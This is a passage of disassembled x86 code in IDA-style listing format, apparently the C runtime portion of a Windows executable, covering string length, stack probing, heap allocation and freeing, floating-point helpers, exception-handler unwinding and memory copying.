		test	eax, 81010100h
		jz	short loc_413DD0
		mov	eax, [ecx-4]
		test	al, al
		jz	short loc_413E21
		test	ah, ah
		jz	short loc_413E17
		test	eax, 0FF0000h
		jz	short loc_413E0D
		test	eax, 0FF000000h
		jz	short loc_413E03
		jmp	short loc_413DD0
; ---------------------------------------------------------------------------


loc_413E03:				; CODE XREF: sub_413DB0+11j
					; sub_413DB0+4Fj
		lea	eax, [ecx-1]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_413E0D:				; CODE XREF: sub_413DB0+48j
		lea	eax, [ecx-2]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_413E17:				; CODE XREF: sub_413DB0+41j
		lea	eax, [ecx-3]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_413E21:				; CODE XREF: sub_413DB0+3Dj
		lea	eax, [ecx-4]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
sub_413DB0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_413E30	proc near		; CODE XREF: seg000:004024E4p
					; sub_403FCB+8p ...

arg_0		= byte ptr  4

		push	ecx
		cmp	eax, 1000h
		lea	ecx, [esp+4+arg_0]
		jb	short loc_413E50


loc_413E3C:				; CODE XREF: sub_413E30+1Ej
		sub	ecx, 1000h
		sub	eax, 1000h
		test	[ecx], eax
		cmp	eax, 1000h
		jnb	short loc_413E3C


loc_413E50:				; CODE XREF: sub_413E30+Aj
		sub	ecx, eax
		mov	eax, esp
		test	[ecx], eax
		mov	esp, ecx
		mov	ecx, [eax]
		mov	eax, [eax+4]
		push	eax
		retn
sub_413E30	endp


; =============== S U B	R O U T	I N E =======================================



sub_413E5F	proc near		; CODE XREF: seg000:00402851p
					; sub_402881+12p ...

arg_0		= dword	ptr  4

		push	ds:dword_45E864
		push	[esp+4+arg_0]
		call	sub_413E71
		pop	ecx
		pop	ecx
		retn
sub_413E5F	endp


; =============== S U B	R O U T	I N E =======================================



sub_413E71	proc near		; CODE XREF: sub_413E5F+Ap
					; sub_414855+6p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0FFFFFFE0h
		ja	short loc_413E9A


loc_413E78:				; CODE XREF: sub_413E71+27j
		push	[esp+arg_0]
		call	sub_413E9D
		test	eax, eax
		pop	ecx
		jnz	short locret_413E9C
		cmp	[esp+arg_4], eax
		jz	short locret_413E9C
		push	[esp+arg_0]
		call	sub_416AF8
		test	eax, eax
		pop	ecx
		jnz	short loc_413E78


loc_413E9A:				; CODE XREF: sub_413E71+5j
		xor	eax, eax

locret_413E9C:				; CODE XREF: sub_413E71+13j
					; sub_413E71+19j
		retn
sub_413E71	endp


; =============== S U B	R O U T	I N E =======================================



sub_413E9D	proc near		; CODE XREF: sub_413E71+Bp

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		cmp	esi, ds:dword_42D30C
		ja	short loc_413EB5
		push	esi
		call	sub_416EE3
		test	eax, eax
		pop	ecx
		jnz	short loc_413ED1


loc_413EB5:				; CODE XREF: sub_413E9D+Bj
		test	esi, esi
		jnz	short loc_413EBC
		push	1
		pop	esi


loc_413EBC:				; CODE XREF: sub_413E9D+1Aj
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	0
		push	ds:dword_45FE60
		call	ds:dword_41F140	; RtlAllocateHeap


loc_413ED1:				; CODE XREF: sub_413E9D+16j
		pop	esi
		retn
sub_413E9D	endp


; =============== S U B	R O U T	I N E =======================================



sub_413ED3	proc near		; CODE XREF: sub_4028D6+Ap
					; sub_4028EF+7Bp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jz	short loc_413F00
		push	esi
		call	sub_416B8D
		pop	ecx
		test	eax, eax
		push	esi
		jz	short loc_413EF2
		push	eax
		call	sub_416BB8
		pop	ecx
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_413EF2:				; CODE XREF: sub_413ED3+13j
		push	0
		push	ds:dword_45FE60
		call	ds:dword_41F144	; RtlFreeHeap


loc_413F00:				; CODE XREF: sub_413ED3+7j
		pop	esi
		retn
sub_413ED3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_413F02(double)

sub_413F02	proc near		; CODE XREF: sub_403007+38p

var_24		= qword	ptr -24h
var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, 0FFFFh
		push	esi
		push	ds:dword_42D0B0
		call	sub_417EB6
		fld	[ebp+arg_0]
		pop	ecx
		mov	ebx, eax
		mov	eax, dword ptr [ebp+arg_0+6]
		pop	ecx
		push	ecx
		and	ax, 7FF0h
		push	ecx
		cmp	ax, 7FF0h
		fstp	[esp+18h+var_18]
		jnz	short loc_413F88
		call	sub_417D7E
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_413F6B
		cmp	eax, 2
		jle	short loc_413F5D
		cmp	eax, 3
		jnz	short loc_413F6B
		fld	[ebp+arg_0]
		push	ebx
		push	ecx		; int
		push	ecx
		fstp	qword ptr [esp]
		push	0Bh		; double
		call	sub_41768E
		add	esp, 10h
		jmp	short loc_413FCD
; ---------------------------------------------------------------------------


loc_413F5D:				; CODE XREF: sub_413F02+3Fj
		push	esi
		push	ebx
		call	sub_417EB6
		fld	[ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_413FCD
; ---------------------------------------------------------------------------


loc_413F6B:				; CODE XREF: sub_413F02+3Aj
					; sub_413F02+44j
		fld	[ebp+arg_0]
		fadd	ds:dbl_41F668
		push	ebx
		push	ecx		; double
		push	ecx
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx
		fstp	[esp+24h+var_24]
		push	0Bh
		push	8
		jmp	short loc_413FC5
; ---------------------------------------------------------------------------


loc_413F88:				; CODE XREF: sub_413F02+2Fj
		call	sub_417D43
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		fcomp	[ebp+arg_0]
		pop	ecx
		pop	ecx
		fnstsw	ax
		sahf
		jnz	short loc_413FAB


loc_413F9D:				; CODE XREF: sub_413F02+ACj
		push	esi
		push	ebx
		call	sub_417EB6
		fld	[ebp+var_8]
		pop	ecx
		pop	ecx
		jmp	short loc_413FCD
; ---------------------------------------------------------------------------


loc_413FAB:				; CODE XREF: sub_413F02+99j
		test	bl, 20h
		jnz	short loc_413F9D
		fld	[ebp+var_8]
		push	ebx		; int
		push	ecx
		push	ecx		; double
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx		; double
		fstp	[esp+24h+var_24]
		push	0Bh		; int
		push	10h		; int


loc_413FC5:				; CODE XREF: sub_413F02+84j
		call	sub_4176E1
		add	esp, 1Ch


loc_413FCD:				; CODE XREF: sub_413F02+59j
					; sub_413F02+67j ...
		pop	esi
		pop	ebx
		leave
		retn
sub_413F02	endp


; =============== S U B	R O U T	I N E =======================================



sub_413FD1	proc near		; CODE XREF: sub_41588A+9p
					; DATA XREF: seg002:off_42D0BCo
		call	sub_413FE9
		call	sub_417F7F
		mov	ds:dword_45E7E4, eax
		call	sub_417F2F
		fnclex
		retn
sub_413FD1	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_413FE9	proc near		; CODE XREF: sub_413FD1p
		mov	eax, offset sub_41836D
		mov	ds:off_42D42C, offset loc_418002
		mov	ds:off_42D428, eax
		mov	ds:off_42D430, offset sub_418068
		mov	ds:off_42D434, offset sub_417FA8
		mov	ds:off_42D438, offset loc_418050
		mov	ds:off_42D43C, eax
		retn
sub_413FE9	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414024	proc near		; CODE XREF: sub_403007+1Bp
					; sub_403007+44p ...

var_C		= qword	ptr -0Ch
var_4		= word ptr -4
var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF4h
		fstcw	[ebp+var_2]
		wait
		mov	ax, [ebp+var_2]
		or	ah, 0Ch
		mov	[ebp+var_4], ax
		fldcw	[ebp+var_4]
		fistp	[ebp+var_C]
		fldcw	[ebp+var_2]
		mov	eax, dword ptr [ebp+var_C]
		mov	edx, dword ptr [ebp+var_C+4]
		leave
		retn
sub_414024	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_41404B(double)

sub_41404B	proc near		; CODE XREF: sub_403053+82p

var_24		= qword	ptr -24h
var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, 0FFFFh
		push	esi
		push	ds:dword_42D0C8
		call	sub_417EB6
		fld	[ebp+arg_0]
		pop	ecx
		mov	ebx, eax
		mov	eax, dword ptr [ebp+arg_0+6]
		pop	ecx
		push	ecx
		and	ax, 7FF0h
		push	ecx
		cmp	ax, 7FF0h
		fstp	[esp+18h+var_18]
		jnz	short loc_4140D1
		call	sub_417D7E
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_4140B4
		cmp	eax, 2
		jle	short loc_4140A6
		cmp	eax, 3
		jnz	short loc_4140B4
		fld	[ebp+arg_0]
		push	ebx
		push	ecx		; int
		push	ecx
		fstp	qword ptr [esp]
		push	0Ch		; double
		call	sub_41768E
		add	esp, 10h
		jmp	short loc_414116
; ---------------------------------------------------------------------------


loc_4140A6:				; CODE XREF: sub_41404B+3Fj
		push	esi
		push	ebx
		call	sub_417EB6
		fld	[ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_414116
; ---------------------------------------------------------------------------


loc_4140B4:				; CODE XREF: sub_41404B+3Aj
					; sub_41404B+44j
		fld	[ebp+arg_0]
		fadd	ds:dbl_41F668
		push	ebx
		push	ecx		; double
		push	ecx
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx
		fstp	[esp+24h+var_24]
		push	0Ch
		push	8
		jmp	short loc_41410E
; ---------------------------------------------------------------------------


loc_4140D1:				; CODE XREF: sub_41404B+2Fj
		call	sub_417D43
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		fcomp	[ebp+arg_0]
		pop	ecx
		pop	ecx
		fnstsw	ax
		sahf
		jnz	short loc_4140F4


loc_4140E6:				; CODE XREF: sub_41404B+ACj
		push	esi
		push	ebx
		call	sub_417EB6
		fld	[ebp+var_8]
		pop	ecx
		pop	ecx
		jmp	short loc_414116
; ---------------------------------------------------------------------------


loc_4140F4:				; CODE XREF: sub_41404B+99j
		test	bl, 20h
		jnz	short loc_4140E6
		fld	[ebp+var_8]
		push	ebx		; int
		push	ecx
		push	ecx		; double
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx		; double
		fstp	[esp+24h+var_24]
		push	0Ch		; int
		push	10h		; int


loc_41410E:				; CODE XREF: sub_41404B+84j
		call	sub_4176E1
		add	esp, 1Ch


loc_414116:				; CODE XREF: sub_41404B+59j
					; sub_41404B+67j ...
		pop	esi
		pop	ebx
		leave
		retn
sub_41404B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41411A	proc near		; CODE XREF: sub_4187DE+71p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_4]
		add	eax, 0Ch
		mov	[ebp+var_4], eax
		mov	ebx, large fs:0
		mov	eax, [ebx]
		mov	large fs:0, eax
		mov	eax, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		mov	esp, [ebx-4]
		mov	ebp, [ebp+var_4]
		jmp	eax
sub_41411A	endp

; ---------------------------------------------------------------------------
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8

; =============== S U B	R O U T	I N E =======================================



sub_41414E	proc near		; CODE XREF: sub_41898F+199p
					; sub_418B53+3Ep

arg_4		= dword	ptr  8

		pop	eax
		pop	ecx
		xchg	eax, [esp-8+arg_4]
		jmp	eax
sub_41414E	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_414155	proc near		; CODE XREF: sub_41898F+17Fp

arg_4		= dword	ptr  8

		pop	eax
		pop	ecx
		xchg	eax, [esp-8+arg_4]
		jmp	eax
sub_414155	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41415C	proc near		; CODE XREF: sub_41430E+5Cp
					; sub_4187DE:loc_41880Fp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	eax, large fs:0
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], offset loc_414184
		push	0
		push	[ebp+arg_4]
		push	[ebp+var_4]
		push	[ebp+arg_0]
		call	sub_41E19C	; RtlUnwind


loc_414184:				; DATA XREF: sub_41415C+11o
		mov	eax, [ebp+arg_4]
		mov	eax, [eax+4]
		and	al, 0FDh
		mov	ecx, [ebp+arg_4]
		mov	[ecx+4], eax
		mov	eax, large fs:0
		mov	ebx, [ebp+var_8]
		mov	[ebx], eax
		mov	large fs:0, ebx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8
sub_41415C	endp

; ---------------------------------------------------------------------------


loc_4141AB:				; CODE XREF: seg000:0041E2F8j
					; seg000:0041E315j ...
		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	ebx
		push	esi
		push	edi
		cld
		mov	[ebp-4], eax
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	dword ptr [ebp-4]
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	sub_4183E3
		add	esp, 20h
		mov	[ebp+14h], eax
		pop	edi
		pop	esi
		pop	ebx
		mov	eax, [ebp+14h]
		mov	esp, ebp
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4141E1	proc near		; CODE XREF: sub_418859+73p

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, [ebp+arg_4]
		and	[ebp+var_14], 0
		mov	ecx, [ebp+arg_0]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_10], offset sub_414235
		inc	eax
		mov	[ebp+var_8], ecx
		mov	[ebp+var_4], eax
		mov	eax, large fs:0
		mov	[ebp+var_14], eax
		lea	eax, [ebp+var_14]
		mov	large fs:0, eax
		push	[ebp+arg_10]
		push	ecx
		push	[ebp+arg_8]
		call	sub_418BE0
		mov	ecx, eax
		mov	eax, [ebp+var_14]
		mov	large fs:0, eax
		mov	eax, ecx
		leave
		retn
sub_4141E1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414235	proc near		; DATA XREF: sub_4141E1+16o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cld
		mov	eax, [ebp+arg_4]
		push	0
		push	eax
		push	dword ptr [eax+10h]
		push	dword ptr [eax+8]
		push	0
		push	[ebp+arg_8]
		push	dword ptr [eax+0Ch]
		push	[ebp+arg_0]
		call	sub_4183E3
		add	esp, 20h
		pop	ebp
		retn
sub_414235	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41425A	proc near		; CODE XREF: sub_418625+25p

var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 34h
		push	ebx
		push	esi
		push	edi
		and	[ebp+var_28], 0
		mov	[ebp+var_24], offset sub_41430E
		mov	eax, [ebp+arg_10]
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_1C], eax
		mov	eax, [ebp+arg_14]
		mov	[ebp+var_18], eax
		mov	eax, [ebp+arg_18]
		mov	[ebp+var_14], eax
		and	[ebp+var_10], 0
		and	[ebp+var_C], 0
		and	[ebp+var_8], 0
		and	[ebp+var_4], 0
		mov	[ebp+var_10], offset loc_4142E0
		mov	[ebp+var_C], esp
		mov	[ebp+var_8], ebp
		mov	eax, large fs:0
		mov	[ebp+var_28], eax
		lea	eax, [ebp+var_28]
		mov	large fs:0, eax
		mov	[ebp+var_34], 1
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_30], eax
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_2C], eax
		lea	eax, [ebp+var_30]
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax]
		call	ds:dword_45E884
		pop	ecx
		pop	ecx
		and	[ebp+var_34], 0


loc_4142E0:				; DATA XREF: sub_41425A+3Co
		cmp	[ebp+var_4], 0
		jz	short loc_4142FD
		mov	ebx, large fs:0
		mov	eax, [ebx]
		mov	ebx, [ebp+var_28]
		mov	[ebx], eax
		mov	large fs:0, ebx
		jmp	short loc_414306
; ---------------------------------------------------------------------------


loc_4142FD:				; CODE XREF: sub_41425A+8Aj
		mov	eax, [ebp+var_28]
		mov	large fs:0, eax


loc_414306:				; CODE XREF: sub_41425A+A1j
		mov	eax, [ebp+var_34]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41425A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41430E	proc near		; DATA XREF: sub_41425A+Do

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		cld
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		and	eax, 66h
		test	eax, eax
		jz	short loc_414331
		mov	eax, [ebp+arg_4]
		mov	dword ptr [eax+24h], 1
		push	1
		pop	eax
		jmp	short loc_41437E
; ---------------------------------------------------------------------------


loc_414331:				; CODE XREF: sub_41430E+12j
		push	1
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+14h]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+10h]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+8]
		push	0
		push	[ebp+arg_8]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+0Ch]
		push	[ebp+arg_0]
		call	sub_4183E3
		add	esp, 20h
		mov	eax, [ebp+arg_4]
		cmp	dword ptr [eax+24h], 0
		jnz	short loc_41436F
		push	[ebp+arg_0]
		push	[ebp+arg_4]
		call	sub_41415C


loc_41436F:				; CODE XREF: sub_41430E+54j
		mov	ebx, [ebp+arg_4]
		mov	esp, [ebx+1Ch]
		mov	ebp, [ebx+20h]
		jmp	dword ptr [ebx+18h]
; ---------------------------------------------------------------------------
		push	1
		pop	eax


loc_41437E:				; CODE XREF: sub_41430E+21j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41430E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414383	proc near		; CODE XREF: sub_41847E+C6p
					; sub_418625+43p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		cmp	[ebp+arg_4], 0
		push	edi
		mov	edi, [ebp+arg_0]
		mov	esi, [edi+0Ch]
		mov	ebx, [edi+10h]
		mov	eax, esi
		mov	[ebp+arg_0], esi
		mov	[ebp+var_4], eax
		jl	short loc_4143DA


loc_4143A1:				; CODE XREF: sub_414383+52j
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_4143AB
		call	sub_418C82


loc_4143AB:				; CODE XREF: sub_414383+21j
		mov	ecx, [ebp+arg_8]
		dec	esi
		lea	eax, [esi+esi*4]
		cmp	[ebx+eax*4+4], ecx
		lea	eax, [ebx+eax*4]
		jge	short loc_4143C0
		cmp	ecx, [eax+8]
		jle	short loc_4143C5


loc_4143C0:				; CODE XREF: sub_414383+36j
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_4143D1


loc_4143C5:				; CODE XREF: sub_414383+3Bj
		mov	eax, [ebp+arg_0]
		dec	[ebp+arg_4]
		mov	[ebp+var_4], eax
		mov	[ebp+arg_0], esi


loc_4143D1:				; CODE XREF: sub_414383+40j
		cmp	[ebp+arg_4], 0
		jge	short loc_4143A1
		mov	eax, [ebp+var_4]


loc_4143DA:				; CODE XREF: sub_414383+1Cj
		mov	ecx, [ebp+arg_C]
		inc	esi
		mov	[ecx], esi
		mov	ecx, [ebp+arg_10]
		mov	[ecx], eax
		cmp	eax, [edi+0Ch]
		ja	short loc_4143EE
		cmp	esi, eax
		jbe	short loc_4143F3


loc_4143EE:				; CODE XREF: sub_414383+65j
		call	sub_418C82


loc_4143F3:				; CODE XREF: sub_414383+69j
		lea	eax, [esi+esi*4]
		pop	edi
		pop	esi
		lea	eax, [ebx+eax*4]
		pop	ebx
		leave
		retn
sub_414383	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414400	proc near		; CODE XREF: sub_41AE98+5Ap

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		push	ebp
		push	0
		push	0
		push	offset loc_414418
		push	[ebp+arg_0]
		call	sub_41E19C	; RtlUnwind


loc_414418:				; DATA XREF: sub_414400+Bo
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_414400	endp


; =============== S U B	R O U T	I N E =======================================



sub_414420	proc near		; DATA XREF: sub_414442+Ao
					; sub_4144AA+9o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_C		= dword	ptr  10h

		mov	ecx, [esp+arg_0]
		test	dword ptr [ecx+4], 6
		mov	eax, 1
		jz	short locret_414441
		mov	eax, [esp+arg_4]
		mov	edx, [esp+arg_C]
		mov	[edx], eax
		mov	eax, 3

locret_414441:				; CODE XREF: sub_414420+10j
		retn
sub_414420	endp


; =============== S U B	R O U T	I N E =======================================



sub_414442	proc near		; CODE XREF: sub_4188FF+Dp
					; sub_41AE98+67p ...

var_14		= dword	ptr -14h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		push	edi
		mov	eax, [esp+0Ch+arg_0]
		push	eax
		push	0FFFFFFFEh
		push	offset sub_414420
		push	large dword ptr	fs:0
		mov	large fs:0, esp


loc_41445F:				; CODE XREF: sub_414442:loc_41449Aj
		mov	eax, [esp+1Ch+arg_0]
		mov	ebx, [eax+8]
		mov	esi, [eax+0Ch]
		cmp	esi, 0FFFFFFFFh
		jz	short loc_41449C
		cmp	esi, [esp+1Ch+arg_4]
		jz	short loc_41449C
		lea	esi, [esi+esi*2]
		mov	ecx, [ebx+esi*4]
		mov	[esp+1Ch+var_14], ecx
		mov	[eax+0Ch], ecx
		cmp	dword ptr [ebx+esi*4+4], 0
		jnz	short loc_41449A
		push	101h
		mov	eax, [ebx+esi*4+8]
		call	sub_4144D6
		call	dword ptr [ebx+esi*4+8]


loc_41449A:				; CODE XREF: sub_414442+44j
		jmp	short loc_41445F
; ---------------------------------------------------------------------------


loc_41449C:				; CODE XREF: sub_414442+2Aj
					; sub_414442+30j
		pop	large dword ptr	fs:0
		add	esp, 0Ch
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_414442	endp


; =============== S U B	R O U T	I N E =======================================



sub_4144AA	proc near		; CODE XREF: sub_41891F+37p
		xor	eax, eax
		mov	ecx, large fs:0
		cmp	dword ptr [ecx+4], offset sub_414420
		jnz	short locret_4144CC
		mov	edx, [ecx+0Ch]
		mov	edx, [edx+0Ch]
		cmp	[ecx+8], edx
		jnz	short locret_4144CC
		mov	eax, 1

locret_4144CC:				; CODE XREF: sub_4144AA+10j
					; sub_4144AA+1Bj
		retn
sub_4144AA	endp


; =============== S U B	R O U T	I N E =======================================



sub_4144CD	proc near		; CODE XREF: sub_418BE0+1Ep
					; sub_418BE0+40p
		push	ebx
		push	ecx
		mov	ebx, offset dword_42D0CC
		jmp	short loc_4144E0
sub_4144CD	endp


; =============== S U B	R O U T	I N E =======================================



sub_4144D6	proc near		; CODE XREF: sub_414442+4Fp
					; sub_41AE98+78p
		push	ebx
		push	ecx
		mov	ebx, offset dword_42D0CC
		mov	ecx, [ebp+8]


loc_4144E0:				; CODE XREF: sub_4144CD+7j
		mov	[ebx+8], ecx
		mov	[ebx+4], eax
		mov	[ebx+0Ch], ebp
		pop	ecx
		pop	ebx
		retn	4
sub_4144D6	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4144F0	proc near		; CODE XREF: sub_403053+5p
					; sub_4031F5+5p ...
		push	0FFFFFFFFh
		push	eax
		mov	eax, large fs:0
		push	eax
		mov	eax, [esp+0Ch]
		mov	large fs:0, esp
		mov	[esp+0Ch], ebp
		lea	ebp, [esp+0Ch]
		push	eax
		retn
sub_4144F0	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41450F	proc near		; CODE XREF: sub_4036CA+26p
					; seg000:0041DF75p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_413ED3
		pop	ecx
		retn
sub_41450F	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414520	proc near		; CODE XREF: sub_40373B+3Ap
					; sub_416BB8+2EEp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		mov	esi, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	edi, [ebp+arg_0]
		mov	eax, ecx
		mov	edx, ecx
		add	eax, esi
		cmp	edi, esi
		jbe	short loc_414540
		cmp	edi, eax
		jb	loc_4146B8


loc_414540:				; CODE XREF: sub_414520+16j
		test	edi, 3
		jnz	short loc_41455C
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41457C
		rep movsd
		jmp	ds:off_414668[edx*4]
; ---------------------------------------------------------------------------


loc_41455C:				; CODE XREF: sub_414520+26j
		mov	eax, edi
		mov	edx, 3
		sub	ecx, 4
		jb	short loc_414574
		and	eax, 3
		add	ecx, eax
		jmp	dword ptr ds:loc_41457C+4[eax*4]
; ---------------------------------------------------------------------------


loc_414574:				; CODE XREF: sub_414520+46j
		jmp	dword ptr ds:loc_414678[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41457C:				; CODE XREF: sub_414520+31j
					; sub_414520+8Ej ...
		jmp	ds:off_4145FC[ecx*4]
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 45h,	41h, 0
		dd offset loc_4145BC
		dd offset loc_4145E0
; ---------------------------------------------------------------------------
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		add	esi, 3
		add	edi, 3
		cmp	ecx, 8
		jb	short loc_41457C
		rep movsd
		jmp	ds:off_414668[edx*4]
; ---------------------------------------------------------------------------
		align 4


loc_4145BC:				; DATA XREF: sub_414520+68o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		add	esi, 2
		add	edi, 2
		cmp	ecx, 8
		jb	short loc_41457C
		rep movsd
		jmp	ds:off_414668[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_4145E0:				; DATA XREF: sub_414520+6Co
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		inc	esi
		shr	ecx, 2
		inc	edi
		cmp	ecx, 8
		jb	short loc_41457C
		rep movsd
		jmp	ds:off_414668[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_4145FC	dd offset loc_41465F	; DATA XREF: sub_414520:loc_41457Cr
		dd offset loc_41464C
		dd offset loc_414644
		dd offset loc_41463C
		dd offset loc_414634
		dd offset loc_41462C
		dd offset loc_414624
		dd offset loc_41461C
; ---------------------------------------------------------------------------


loc_41461C:				; CODE XREF: sub_414520:loc_41457Cj
					; DATA XREF: sub_414520+F8o
		mov	eax, [esi+ecx*4-1Ch]
		mov	[edi+ecx*4-1Ch], eax


